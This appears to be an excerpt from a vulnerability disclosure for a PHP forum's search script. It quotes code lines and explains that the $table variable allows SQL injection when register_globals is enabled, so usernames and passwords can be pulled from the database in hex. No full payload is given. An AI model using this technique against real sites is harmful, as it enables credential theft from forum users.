 # code:

  /bb_func_search.php:
       ...
   41    if(isset($_GET['where'])) $where=$_GET['where']+0; else $where=0;
       ...

       ...
  188    if($where==0) { $date_field='post_time'; $poster_field='poster_name'; $table=$Tp; }
  189    elseif($where==1) { $date_field='topic_time'; $poster_field='topic_poster_name'; $table=$Tt; }
       ...

       ...
  215    if($row=db_searchSelect(0,$table,'count(*)',$sqlStr)) $numRows=$row[0]; else $numRows=0;
  216       if($numRows==0){
  217        $searchResults='<span class="txtSm">'.$l_searchFailed.'</span>';
  218       }
  219       else{
  220        $warning=$l_recordsFound.' '.$numRows;
       ...

 SQL query: "select count(*) from $table where $sqlStr" <- sql-inj in $table
 so if register_globals = On, we can get usernames and passwords from database
 in hex, and unhex it (http://www.paulschou.com/tools/xlate/) ;]
